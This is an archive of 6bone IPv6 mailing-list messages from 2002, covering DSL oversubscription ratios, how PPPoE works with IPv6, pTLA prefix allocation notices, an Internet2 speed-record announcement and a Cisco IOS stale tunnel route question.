you cant normally run it like that, for best performance you usually see
around 3:1 in datacenters with multiple SMS devices.  Surely 20:1 is in
reference to some other set of figures.

-Bo


-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
Christian de Larrinaga
Sent: Tuesday, April 30, 2002 5:00 AM
To: Bo Byrd; 6bone@ISI.EDU
Subject: RE: about IPv6 PPPoE 



> PPPoE lets service providers oversubscribe their DSL termination 
> routers.  If just regular bridged connections were used a router can 
> only handle so many (8000 for redback sms-1800 routers) of those 
> circuits.  With PPPoE the service provider can terminate many more 
> circuits since not everyone is using the system at the same time.  
> This greatly recudes the per-user cost of the equipment for the 
> service provider.  It also works the same as a dialup connection that 
> the user is already familiar with.  There really arent many problems 
> with PPPoE at all.  It's very more scalable than bridged RFC1483 
> operation.

so this is what is meant by ADSL contention ratio? e.g., BT in UK quote
20:1? is BT is over subscribing DSL termination routers 20x?

Christian

Christian de Larrinaga





From 6bone-owner  Tue Apr 30 07:55:28 2002
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Date: Tue, 30 Apr 2002 07:54:31 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:4005::/32 allocated to KEWLIO
Cc: "Daniel Austin (fxp0)" <fxp0@fxp0.co.uk>,
        6bone reverse DNS registration <hostmaster@ep.net>
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KEWLIO has been allocated pTLA 3FFE:4005::/32 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?KEWLIO>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Tue Apr 30 08:14:54 2002
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Date: Tue, 30 Apr 2002 08:14:27 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Internet2 Land Speed Record award for IPv6
Cc: lsr@internet2.edu
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6bone Folk,

I am passing along a request I think our community should be interested in: 
participating in the Internet 2's Land Speed Record project for IPv6, which 
you can read about at:

  <http://www.internet2.edu/html/i2lsr.shtml>

These folk have created a category for IPv6 (so you don't have to compete 
against IPv4 for speed) but have had no entrants to date. This is fertile 
ground to prove what IPv6 can do.

(Note that, contrary to the web site statement, there is currently no 
financial reward, just a very nice engraved plaque, a press release, and a 
formal presentation at an Internet 2 member meeting).

The record is set similar to other international awards projects, requiring 
a 10% improvement over a previous record to decide when a new record has 
been set. I have been told that the closing date requirement for applicants 
has been removed (contrary to the web site writeup).

Please take a look and see if we can start setting IPv6 speed records. Who 
knows, as this develops we may be able to compete with IPv4 speed records, 
which currently is:

>A team from the University of Washington, the Information Sciences 
>Institute of the University of Southern California, Qwest and Microsoft 
>set a new standard for Internet performance by transferring 8.4 GB worth 
>of data from Redmond, Washington to Arlington, Virginia (5,626 Km) in 81 
>seconds at a rate of over 830 megabits per second. They won both the 
>single stream and multistream classes of the I2-LSR competition.

Maybe we should have an additional category for tunneled networks as well. 
Please contact <lsr@internet2.edu> if you want to know more.


Thanks,

Bob


From 6bone-owner  Tue Apr 30 15:51:14 2002
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From: "Joel Baker" <lucifer@lightbearer.com>
Date: Tue, 30 Apr 2002 16:51:24 -0600
To: 6bone@ISI.EDU
Subject: Re: about IPv6 PPPoE
Message-ID: <20020430165124.A3979@lightbearer.com>
References: <MABBIEBOAFJNELEGFHCKCENCFFAA.cdel@firsthand.net> <000301c1f041$f5054bb0$0202a8c0@biz.mindspring.com>
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On Tue, Apr 30, 2002 at 08:24:16AM -0400, Bo Byrd wrote:
> 20:1 seems very extreme.  From what I've seen a subscriber management
> system can terminate around 32000 PVC's and can support 8000 active
> PVC's, that's 4:1.  Of course for the best interests of the customers
> you cant normally run it like that, for best performance you usually see
> around 3:1 in datacenters with multiple SMS devices.  Surely 20:1 is in
> reference to some other set of figures.

Bandwidth subscription rates typically go at *least* 20:1 for residential
DSL; sometimes 30:1. This is not, actually, a problem for most situations,
if combined with proper monitoring of the circuit and engineers who grok
how statistical multiplexing works and when you shouldn't be using it.

(FWIW: observed traffic showed about a 10:1 ration of capacity:traffic on
a device terminating business T1 customers, at least 2-3 of which were
running their lines full-bore 24x7; the business DSL folks ended up being
something between 15:1 and 20:1, and all of those customers pay lots of
money to never have a bottleneck inside the providers network; that's *not*
what residential customers pay for, and so they aren't guaranteed it, and
sometimes end up 30:1, or even 40:1 in one rumored instance).

The statistics in question were taken over the span of a month and a half,
at 5 minute intervals, and processed extensively (some of it useful, much
of it for making pretty graphs to prove to the people paying for upstream
circuits that they couldn't safely try to multiplex 30:1 on the business
T1s, even having hundreds of customers).
-- 
***************************************************************************
Joel Baker                           System Administrator - lightbearer.com
lucifer@lightbearer.com              http://users.lightbearer.com/lucifer/

From 6bone-owner  Tue Apr 30 19:06:12 2002
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To: 6bone@ISI.EDU
Subject: Re: about IPv6 PPPoE 
In-reply-to: Your message of "Tue, 30 Apr 2002 16:51:24 MDT."
             <20020430165124.A3979@lightbearer.com> 
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From: Michael Richardson <mcr@sandelman.ottawa.on.ca>
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-----BEGIN PGP SIGNED MESSAGE-----


>>>>> "Joel" == Joel Baker <lucifer@lightbearer.com> writes:
    Joel> Bandwidth subscription rates typically go at *least* 20:1 for residential
    Joel> DSL; sometimes 30:1. This is not, actually, a problem for most situations,
    Joel> if combined with proper monitoring of the circuit and engineers who
  
  *bandwidth* subscription rates are not as bad or relevant. 

  Being unable to terminate every layer-2 from every homeowner, who now, having
address space, has his fridge, TV, home alarm system, etc. online *IS* a
problem. You do not get any space for oversubscribing the local loop when you
have things that are just online all the time.
  
  Remember that this is 6bone@isi.edu. A major thing about IPv6 is that it
restores end-to-end. That means that I don't necessarily care how
oversubscribed the uplink is - IF I AM PHONING MY NEIGHBOUR. 

  This nonsense of underengineering the local loop is all about turning us
into consumers, not users. Consumers can cope with web browsers, there is no
demand for end-to-end connectivity. 
  IPv4+NAT+web proxies is all a consumer needs to shop. 

    Joel> The statistics in question were taken over the span of a month and a half,
    Joel> at 5 minute intervals, and processed extensively (some of it useful, much
    Joel> of it for making pretty graphs to prove to the people paying for upstream
    Joel> circuits that they couldn't safely try to multiplex 30:1 on the business
    Joel> T1s, even having hundreds of customers).

  And remember how the "Internet" as it first arrived on copper screwed the
oversubscription policies of the telcos systems up completedly. Rural areas
are still way badly underprovisioned now that people want to use modems more
often.

  If you let it return, then forget about using IPv6 for anything other than
web-bunnies. 

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another NetBSD/notebook using, kernel hacking, security guy");  [

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Comment: Finger me for keys

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From 6bone-owner  Tue Apr 30 21:35:56 2002
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To: 6bone@ISI.EDU
Subject: Re: about IPv6 PPPoE
Message-ID: <20020430223607.A15143@lightbearer.com>
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On Tue, Apr 30, 2002 at 09:57:22PM -0400, Michael Richardson wrote:
> 
> >>>>> "Joel" == Joel Baker <lucifer@lightbearer.com> writes:
> Joel> Bandwidth subscription rates typically go at *least* 20:1 for
> Joel> residential DSL; sometimes 30:1. This is not, actually, a problem
> Joel> for most situations, Joel> if combined with proper monitoring of
> Joel> the circuit and engineers who
>
>   *bandwidth* subscription rates are not as bad or relevant.

Indeed. Please note that I was not actually intending to enter into the
fray about what is right or proper for PVC oversubs or similar such;
only to provide information about where the number he quoted may have
come from.

The rest of the points made are salient, but elided, since I only wanted
to clarify the relevant of the point I was origionally making - IE, that
20:1 isn't necessarily unreasonable *if* it's bandwidth, rather than PVC,
oversub.

The notion of oversubscribing PVC structures causes the engineer in me
to cry out in despair at the amount of things it utterly screws up.
-- 
***************************************************************************
Joel Baker                           System Administrator - lightbearer.com
lucifer@lightbearer.com              http://users.lightbearer.com/lucifer/

From 6bone-owner  Tue Apr 30 22:55:09 2002
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From: "Bo Byrd" <bo@bbyrd.net>
To: "'Joel Baker'" <lucifer@lightbearer.com>, <6bone@ISI.EDU>,
        <users@ipv6.org>
Subject: RE: about IPv6 PPPoE
Date: Wed, 1 May 2002 01:55:41 -0400
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OK I see what you're saying

I have in operation a system with 10,000 active ADSL subs(1.5mbps each).
This system has a GIG-E interface.
10000 users X 1.5mbps = 15Gbps.  So this is the same as 15:1
Consider this.....my traffic on this GIGE interface has NEVER gone above
200mbps.  Never...not once. So say I had put 2 load balanced FastE
interfaces on my system instead of a single GIGE interface.. Then that
would equate to a 75:1 ratio, and my users wouldn't be able to tell the
difference.


-Bo




-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of Joel
Baker
Sent: Tuesday, April 30, 2002 6:51 PM
To: 6bone@ISI.EDU
Subject: Re: about IPv6 PPPoE


On Tue, Apr 30, 2002 at 08:24:16AM -0400, Bo Byrd wrote:
> 20:1 seems very extreme.  From what I've seen a subscriber management 
> system can terminate around 32000 PVC's and can support 8000 active 
> PVC's, that's 4:1.  Of course for the best interests of the customers 
> you cant normally run it like that, for best performance you usually 
> see around 3:1 in datacenters with multiple SMS devices.  Surely 20:1 
> is in reference to some other set of figures.

Bandwidth subscription rates typically go at *least* 20:1 for
residential DSL; sometimes 30:1. This is not, actually, a problem for
most situations, if combined with proper monitoring of the circuit and
engineers who grok how statistical multiplexing works and when you
shouldn't be using it.

(FWIW: observed traffic showed about a 10:1 ration of capacity:traffic
on a device terminating business T1 customers, at least 2-3 of which
were running their lines full-bore 24x7; the business DSL folks ended up
being something between 15:1 and 20:1, and all of those customers pay
lots of money to never have a bottleneck inside the providers network;
that's *not* what residential customers pay for, and so they aren't
guaranteed it, and sometimes end up 30:1, or even 40:1 in one rumored
instance).

The statistics in question were taken over the span of a month and a
half, at 5 minute intervals, and processed extensively (some of it
useful, much of it for making pretty graphs to prove to the people
paying for upstream circuits that they couldn't safely try to multiplex
30:1 on the business T1s, even having hundreds of customers).
-- 
************************************************************************
***
Joel Baker                           System Administrator -
lightbearer.com
lucifer@lightbearer.com
http://users.lightbearer.com/lucifer/




From 6bone-owner  Wed May  1 05:55:42 2002
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Date: Wed, 1 May 2002 08:55:50 -0400
From: Christian Kuhtz <ck@arch.bellsouth.net>
To: 6bone@ISI.EDU
Subject: Re: about IPv6 PPPoE
Message-ID: <20020501085550.A19101@ns1.arch.bellsouth.net>
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On Tue, Apr 30, 2002 at 09:57:22PM -0400, Michael Richardson wrote:
[..]
>   Remember that this is 6bone@isi.edu. A major thing about IPv6 is that it
> restores end-to-end. That means that I don't necessarily care how
> oversubscribed the uplink is - IF I AM PHONING MY NEIGHBOUR. 
> 
>   This nonsense of underengineering the local loop is all about turning us
> into consumers, not users. Consumers can cope with web browsers, there is no
> demand for end-to-end connectivity. 
>   IPv4+NAT+web proxies is all a consumer needs to shop. 

*sigh*

none of this has to do anything with technology, much less with ipv6.

it's simply the result of capacity planning and marketeering.  from
a techology standpoint anything's possible.

less oversubscription means increased cost to the customer.  if the
customer's willing to pay for it and there is enough demand to make
it worthwhile spinning up yet-another-dsl-product to meet the demand.

it's very simple to do it.  in fact, different grades of business dsl
already exist from us, and i believe different grades of consumer dsl
are in the works or already deployed (i don't always keep up with the
launch of every gazillionth dsl product, sorry ;).

can we kill this hopeless thread now please? ;)


From 6bone-owner  Wed May  1 08:52:01 2002
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Date: Wed, 01 May 2002 08:50:48 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:4006::/32 allocated to DOLPHINS-CH 
Cc: Matthias Cramer <cramer@dolphins.ch>,
        6bone reverse DNS registration <hostmaster@ep.net>
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DOLPHINS-CH has been allocated pTLA 3FFE:4006::/32 having finished its 
2-week review period.

<http://whois.6bone.net/cgi-bin/whois?DOLPHINS-CH>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Wed May  1 08:52:14 2002
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Date: Wed, 01 May 2002 08:52:10 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
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Cc: rh@concepts.nl, 6bone reverse DNS registration <hostmaster@ep.net>
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NL-CONCEPTS6 has been allocated pTLA 3FFE:4007::/32 having finished its 
2-week review period.

<http://whois.6bone.net/cgi-bin/whois?NL-CONCEPTS6>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Wed May  1 09:16:42 2002
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From: "Christian de Larrinaga" <cdel@firsthand.net>
To: "Bo Byrd" <bo@bbyrd.net>, "'Joel Baker'" <lucifer@lightbearer.com>,
        <6bone@ISI.EDU>, <users@ipv6.org>
Subject: RE: about IPv6 PPPoE
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Bo

BT are now imposing bandwidth contention for business 500kbits service of
50:1 so with your figures this should not effect e2e app's. At least until
they all start simulcasting streaming video to each other!


Christian


> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Bo
> Byrd
> Sent: Wednesday, May 01, 2002 06:56
> To: 'Joel Baker'; 6bone@ISI.EDU; users@ipv6.org
> Subject: RE: about IPv6 PPPoE
>
>
> OK I see what you're saying
>
> I have in operation a system with 10,000 active ADSL subs(1.5mbps each).
> This system has a GIG-E interface.
> 10000 users X 1.5mbps = 15Gbps.  So this is the same as 15:1
> Consider this.....my traffic on this GIGE interface has NEVER gone above
> 200mbps.  Never...not once. So say I had put 2 load balanced FastE
> interfaces on my system instead of a single GIGE interface.. Then that
> would equate to a 75:1 ratio, and my users wouldn't be able to tell the
> difference.
>
>
> -Bo


From 6bone-owner  Wed May  1 13:52:37 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>, lsr@internet2.edu
Subject: Re: Internet2 Land Speed Record award for IPv6
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I spoke to NIKHEF (the NL physics and nuclear research institution) and
they plan to do OC48 from NL to Alaska via Chicago.

Looks like that IPv6 'record' will be beaten with both hands and the left
foot tied to their backs, the right being for the accelerator on GEANT
and SURFnet. For IPv6 even ;-)

I'm very curious as to the outcome of their speed-tests.

groet,
Pim

		On Tue, Apr 30, 2002 at 08:14:27AM -0700, Bob Fink wrote:
| 6bone Folk,
| 
| I am passing along a request I think our community should be interested in: 
| participating in the Internet 2's Land Speed Record project for IPv6, which 
| you can read about at:
| 
|  <http://www.internet2.edu/html/i2lsr.shtml>
| 
| These folk have created a category for IPv6 (so you don't have to compete 
| against IPv4 for speed) but have had no entrants to date. This is fertile 
| ground to prove what IPv6 can do.
| 
| (Note that, contrary to the web site statement, there is currently no 
| financial reward, just a very nice engraved plaque, a press release, and a 
| formal presentation at an Internet 2 member meeting).
| 
| The record is set similar to other international awards projects, requiring 
| a 10% improvement over a previous record to decide when a new record has 
| been set. I have been told that the closing date requirement for applicants 
| has been removed (contrary to the web site writeup).
| 
| Please take a look and see if we can start setting IPv6 speed records. Who 
| knows, as this develops we may be able to compete with IPv4 speed records, 
| which currently is:
| 
| >A team from the University of Washington, the Information Sciences 
| >Institute of the University of Southern California, Qwest and Microsoft 
| >set a new standard for Internet performance by transferring 8.4 GB worth 
| >of data from Redmond, Washington to Arlington, Virginia (5,626 Km) in 81 
| >seconds at a rate of over 830 megabits per second. They won both the 
| >single stream and multistream classes of the I2-LSR competition.
| 
| Maybe we should have an additional category for tunneled networks as well. 
| Please contact <lsr@internet2.edu> if you want to know more.
| 
| 
| Thanks,
| 
| Bob

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Thu May  2 01:30:03 2002
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References: <27746.1019709133@itojun.org> <002501c1ec38$5d04bd80$034b2780@6115>
Subject: Re: about IPv6 PPPoE 
Date: Thu, 2 May 2002 16:26:27 +0800
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Hi:
               I am curious about what you have tried. Can you tell me where
can I download PPPoE software to try the dial up? Do you really try PPPoE or
just PPP (not PPPoE) over p2p link?

I am confusing .........As I know, PPPoE must perform ARP and thus, there is
a field to carry IPv4 address in PPPoE protocol. Why does PPPoE(v4) not
need to be modified to support IPv6 ?  IPv6 uses neighbor discovery to find
MAC <--> IPv6 address map. The protocol is over IP, not like ARP(v4). Is
that the reason why PPPoE need not to be modified for IPv6 ?

Thanks
Yann-Ju CHu

----- Original Message -----
From: "Jørgen Hovland" <jorgen@hovland.cx>
To: "yjchu" <yjchui@cht.com.tw>; <itojun@iijlab.net>
Cc: <6bone@ISI.EDU>
Sent: Thursday, April 25, 2002 5:05 PM
Subject: Re: about IPv6 PPPoE


> Are you sure about that?  We are using PPPoE with ipv6 and its working
fine (IPCP6 or something).
>
> Joergen Hovland
>
> ----- Original Message -----
> From: <itojun@iijlab.net>
> To: "yjchu" <yjchui@cht.com.tw>
> Cc: <6bone@ISI.EDU>
> Sent: Thursday, April 25, 2002 6:32 AM
> Subject: Re: about IPv6 PPPoE
>
>
> > >Hi:
> > >    At present, there is no specification for PPPoE (IPv6). However, =
> > >What we will do in the future if we want to dial to IPv6 network
through =
> > >ADSL? Or, we will use fixed rather than dial-up connection in the
future =
> > >IPv6 ADSL access?
>
> > fixed, permanent connectivity with static address is preferred than
> > dialups, however:
> > - there are cases where dialup is really necessary - like travelling
> >   notebooks.
> > - there are needs for automating customer device configuration.
> >
> > so, a protocol for assigning prefix to customer would be nice.
> > the topic is under discussion at IETF ipngwg.
> >
> > you may want to check the following:
> > overview:
> > draft-itojun-ipv6-dialup-requirement-02.txt
> > protocol proposals:
> > draft-troan-dhcpv6-opt-prefix-delegation-00.txt
> > (there are other proposals exist)
> > IETF ipngwg minutes for last meeting (www.ietf.org)
> >
> > itojun
> >
>


From 6bone-owner  Thu May  2 04:45:22 2002
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From: "Matteo Tescione" <wizard@italiansky.com>
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Subject: route expiration
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------=_NextPart_000_0085_01C1F1DF.614FB820
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Hi to all,=20
sometimes in my router i see a route entry via tunnelx and tunnely while =
tunnelx doesn't exist anymore, so this route doesn't work. Is there any =
suggestion to prevent this problem?
Thanks in advance,

Matteo Tescione
Ipv6 Dept.
COMV6 - Italy


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</HEAD>
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<DIV><FONT face=3DArial size=3D2>Hi to all, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>sometimes in my router i see a route =
entry via=20
tunnelx and tunnely while tunnelx doesn't exist anymore, so this route =
doesn't=20
work. Is there any suggestion to prevent this problem?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Thanks in advance,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Matteo Tescione<BR>Ipv6 Dept.<BR>COMV6 =
-=20
Italy<BR></FONT></DIV></BODY></HTML>

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From 6bone-owner  Thu May  2 04:59:08 2002
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Subject: Re: about IPv6 PPPoE
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"yjchu" <yjchui@cht.com.tw> writes:

>                I am curious about what you have tried. Can you tell me where
> can I download PPPoE software to try the dial up? Do you really try PPPoE or
> just PPP (not PPPoE) over p2p link?

E.g. http://www.roaringpenguin.com/pppoe/

> I am confusing .........As I know, PPPoE must perform ARP 

No, it must not. It defines it's own discovery protocol.

> and thus, there is
> a field to carry IPv4 address in PPPoE protocol.

No, there is not. The PPPoE header consists of the fields
VER TYPE CODE SESSION_ID LENGTH

See RFC 2516 for further details.

> Why does PPPoE(v4) not
> need to be modified to support IPv6 ? 

Because PPPoE is just that: Support for PPP over ethernet. It will
support anything that PPP supports with one exception: There is no
support for framentation, so the PPP frames (including the 6 bytes
used for the PPPoE header) must fit within an ethernet frame. I don't
think that is a problem for IPv6.

> IPv6 uses neighbor discovery to find
> MAC <--> IPv6 address map. The protocol is over IP, not like ARP(v4). Is
> that the reason why PPPoE need not to be modified for IPv6 ?

If there is PPP support for IPv6 then there is PPPoE support for IPv6.
The same goes for PPPoA support BTW.


Bjørn

From 6bone-owner  Thu May  2 05:05:10 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
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cc: =?ISO-8859-1?Q?J=F8rgen_Hovland?= <jorgen@hovland.cx>, 6bone@ISI.EDU
Subject: Re: about IPv6 PPPoE 
In-reply-to: Your message of Thu, 02 May 2002 16:26:27 +0800.
             <009e01c1f1b3$0e5a1830$8d59900a@chttl.com.tw> 
Date: Thu, 02 May 2002 14:04:51 +0200
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 In your previous mail you wrote:

                  I am curious about what you have tried. Can you tell me where
   can I download PPPoE software to try the dial up? Do you really try PPPoE or
   just PPP (not PPPoE) over p2p link?
   
=> user mode PPP with ng_pppoe (netgraph PPPoE node) on FreeBSD 4.5 + KAME
snapshot.

   I am confusing .........As I know, PPPoE must perform ARP and thus, there is
   a field to carry IPv4 address in PPPoE protocol. Why does PPPoE(v4) not
   need to be modified to support IPv6 ?

=> because the IPv6 dependent part is in the higher part of PPP and
works for PPP over synchronous line, asynchronous line, ISDN, UDP, TCP,
Ethernet (aka PPPoE), etc, as any NCP (network control protocol).

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Thu May  2 05:12:20 2002
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From: "Bo Byrd" <bo@bbyrd.net>
To: <6bone@ISI.EDU>
Cc: <users@ipv6.org>
Subject: RE: about IPv6 PPPoE 
Date: Thu, 2 May 2002 08:13:07 -0400
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No, PPPoE doesn't ARP.  There is no layer3 field in the packet.  How it
works is that a client will send out a PPPoE PADI packet which is a
broadcast.  (PADI is PPPoE Active Discovery Initiation)  A PPPoE server
(Access Concentrator) will see this broadcast and send a PADO - PPPoE
active Discovery Offer packet to the MAC address requesting the PADI.
The session then continues on.  That’s how the 2 ends discover mac
addresses.  If you sniff a PPPoE session with Ethereal you can see
exactly what I'm talking about.  You can actually have many PPPoE
servers on the same network segment, that are differentiated by their
AccessConcentrator-Name.  You can manually place the name of a specific
AccessConcentrator in the PADI packet if you know the particular name of
the one you want to connect to, and your PPPoE client software supports
you doing this.  This is never required and rarely do you see more than
1 AccessConcentrator per lan segment anyways.

I'd say PPPoE would not need to be modified to work with IPv6 by my
understanding of how PPPoE works but I could be wrong.


-Bo



-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
yjchu
Sent: Thursday, May 02, 2002 4:26 AM
To: Jørgen Hovland; 6bone@ISI.EDU
Subject: Re: about IPv6 PPPoE 



Hi:
               I am curious about what you have tried. Can you tell me
where can I download PPPoE software to try the dial up? Do you really
try PPPoE or just PPP (not PPPoE) over p2p link?

I am confusing .........As I know, PPPoE must perform ARP and thus,
there is a field to carry IPv4 address in PPPoE protocol. Why does
PPPoE(v4) not need to be modified to support IPv6 ?  IPv6 uses neighbor
discovery to find MAC <--> IPv6 address map. The protocol is over IP,
not like ARP(v4). Is that the reason why PPPoE need not to be modified
for IPv6 ?

Thanks
Yann-Ju CHu

----- Original Message -----
From: "Jørgen Hovland" <jorgen@hovland.cx>
To: "yjchu" <yjchui@cht.com.tw>; <itojun@iijlab.net>
Cc: <6bone@ISI.EDU>
Sent: Thursday, April 25, 2002 5:05 PM
Subject: Re: about IPv6 PPPoE


> Are you sure about that?  We are using PPPoE with ipv6 and its working
fine (IPCP6 or something).
>
> Joergen Hovland
>
> ----- Original Message -----
> From: <itojun@iijlab.net>
> To: "yjchu" <yjchui@cht.com.tw>
> Cc: <6bone@ISI.EDU>
> Sent: Thursday, April 25, 2002 6:32 AM
> Subject: Re: about IPv6 PPPoE
>
>
> > >Hi:
> > >    At present, there is no specification for PPPoE (IPv6). 
> > >However, = What we will do in the future if we want to dial to IPv6

> > >network
through =
> > >ADSL? Or, we will use fixed rather than dial-up connection in the
future =
> > >IPv6 ADSL access?
>
> > fixed, permanent connectivity with static address is preferred than 
> > dialups, however:
> > - there are cases where dialup is really necessary - like travelling
> >   notebooks.
> > - there are needs for automating customer device configuration.
> >
> > so, a protocol for assigning prefix to customer would be nice. the 
> > topic is under discussion at IETF ipngwg.
> >
> > you may want to check the following:
> > overview:
> > draft-itojun-ipv6-dialup-requirement-02.txt
> > protocol proposals: draft-troan-dhcpv6-opt-prefix-delegation-00.txt
> > (there are other proposals exist)
> > IETF ipngwg minutes for last meeting (www.ietf.org)
> >
> > itojun
> >
>





From 6bone-owner  Thu May  2 05:55:27 2002
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To: "yjchu" <yjchui@cht.com.tw>
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References: <27746.1019709133@itojun.org><002501c1ec38$5d04bd80$034b2780@6115><009e01c1f1b3$0e5a1830$8d59900a@chttl.com.tw> <hvvga6kbg2.fsf@rasputin.ws.nextra.no>
Subject: Re: about IPv6 PPPoE
Date: Thu, 2 May 2002 14:55:30 +0200
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If your pppd doesnt support ipv6, you need to edit the proper Makefile for
your system in ppp-2.x.x/pppd/ (Makefile.linux for example, HAVE_INET6=y)

pppd can be found at www.samba.org/ppp

Bsd works fine too.

About windows:
I only tried raspppoe with windows 2000, and it doesnt support ipv6.
Does anybody know if its possible with windows / any software around?

-j

> > Why does PPPoE(v4) not
> > need to be modified to support IPv6 ?
>
> Because PPPoE is just that: Support for PPP over ethernet. It will
> support anything that PPP supports with one exception: There is no
> support for framentation, so the PPP frames (including the 6 bytes
> used for the PPPoE header) must fit within an ethernet frame. I don't
> think that is a problem for IPv6.




From 6bone-owner  Thu May  2 07:35:01 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Matteo Tescione <wizard@italiansky.com>
Cc: 6bone@ISI.EDU
Subject: Re: route expiration
Message-ID: <20020502143510.GA26414@bfib.colo.bit.nl>
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On Thu, May 02, 2002 at 01:43:45PM +0200, Matteo Tescione wrote:
| Hi to all, 
| sometimes in my router i see a route entry via tunnelx and tunnely while tunnelx doesn't exist anymore, so this route doesn't work. Is there any suggestion to prevent this problem?
| Thanks in advance,

Matteo,

perhaps you can first tell us which platform you are using. I think that
if you delete a tunnel, that your box (whichever OS it is running)
should simply disassociate the routes over this tunnel. If it does,
not, you should open a ticket with your hardware vendor.

I don't think that the BSDs and Linux exhibit this behavior, so I am
assuming you are running IOS. You should upgrade to 12.2-T train then,
at least.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Thu May  2 07:41:30 2002
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From: "Matteo Tescione" <wizard@italiansky.com>
To: "Pim van Pelt" <pim@ipng.nl>
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References: <008801c1f1ce$9e17c740$8cf51150@local.comv6.com> <20020502143510.GA26414@bfib.colo.bit.nl>
Subject: Re: route expiration
Date: Thu, 2 May 2002 16:40:19 +0200
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PIm, thanks for your quicly answer, i'm using Cisco IOS 12.1 on my tunnel
broker service, sometimes when a tunnel is deleted and a new tunnel is
created with the same ipv6 i see on my routing table somethin' like:
IPv6 Routing Table - 412 entries
Codes: C - Connected, L - Local, S - Static, R - RIP, B - BGP
Timers: Uptime/Expires

C 3FFE:2C02::A023:EB14/127 [0/0]
  via ::, Tunnel188, 2d19h/never
  via ::, Tunnel219, 1d03h/never

But tunnel188 doesn't exist anymore, it was the old tunnel before the user
recreate another one.
Any suggestion?
Matteo Tescione
Ipv6 Dept.
COMV6 - Italy

----- Original Message -----
From: "Pim van Pelt" <pim@ipng.nl>
To: "Matteo Tescione" <wizard@italiansky.com>
Cc: <6bone@ISI.EDU>
Sent: Thursday, May 02, 2002 4:35 PM
Subject: Re: route expiration


> On Thu, May 02, 2002 at 01:43:45PM +0200, Matteo Tescione wrote:
> | Hi to all,
> | sometimes in my router i see a route entry via tunnelx and tunnely while
tunnelx doesn't exist anymore, so this route doesn't work. Is there any
suggestion to prevent this problem?
> | Thanks in advance,
>
> Matteo,
>
> perhaps you can first tell us which platform you are using. I think that
> if you delete a tunnel, that your box (whichever OS it is running)
> should simply disassociate the routes over this tunnel. If it does,
> not, you should open a ticket with your hardware vendor.
>
> I don't think that the BSDs and Linux exhibit this behavior, so I am
> assuming you are running IOS. You should upgrade to 12.2-T train then,
> at least.
>
> groet,
> Pim
>
> --
> ---------- - -    - - -+- - -    - - ----------
> Pim van Pelt                 Email: pim@ipng.nl
> http://www.ipng.nl/             IPv6 Deployment
> -----------------------------------------------


From 6bone-owner  Thu May  2 07:43:03 2002
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From: =?iso-8859-1?Q?J=F8rgen_Hovland?= <jorgen@hovland.cx>
To: "Bo Byrd" <bo@bbyrd.net>, <6bone@ISI.EDU>
Cc: <users@ipv6.org>
References: <000001c1f1d2$bb184280$0202a8c0@biz.mindspring.com>
Subject: Re: about IPv6 PPPoE 
Date: Thu, 2 May 2002 16:43:07 +0200
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>You can actually have many PPPoE
> servers on the same network segment, that are differentiated by their
> AccessConcentrator-Name.

And as long as the session-numbers in use are unique.


----- Original Message -----
From: "Bo Byrd" <bo@bbyrd.net>
To: <6bone@ISI.EDU>
Cc: <users@ipv6.org>
Sent: Thursday, May 02, 2002 2:13 PM
Subject: RE: about IPv6 PPPoE


> No, PPPoE doesn't ARP.  There is no layer3 field in the packet.  How it
> works is that a client will send out a PPPoE PADI packet which is a
> broadcast.  (PADI is PPPoE Active Discovery Initiation)  A PPPoE server
> (Access Concentrator) will see this broadcast and send a PADO - PPPoE
> active Discovery Offer packet to the MAC address requesting the PADI.
> The session then continues on.  That's how the 2 ends discover mac
> addresses.  If you sniff a PPPoE session with Ethereal you can see
> exactly what I'm talking about.  You can actually have many PPPoE
> servers on the same network segment, that are differentiated by their
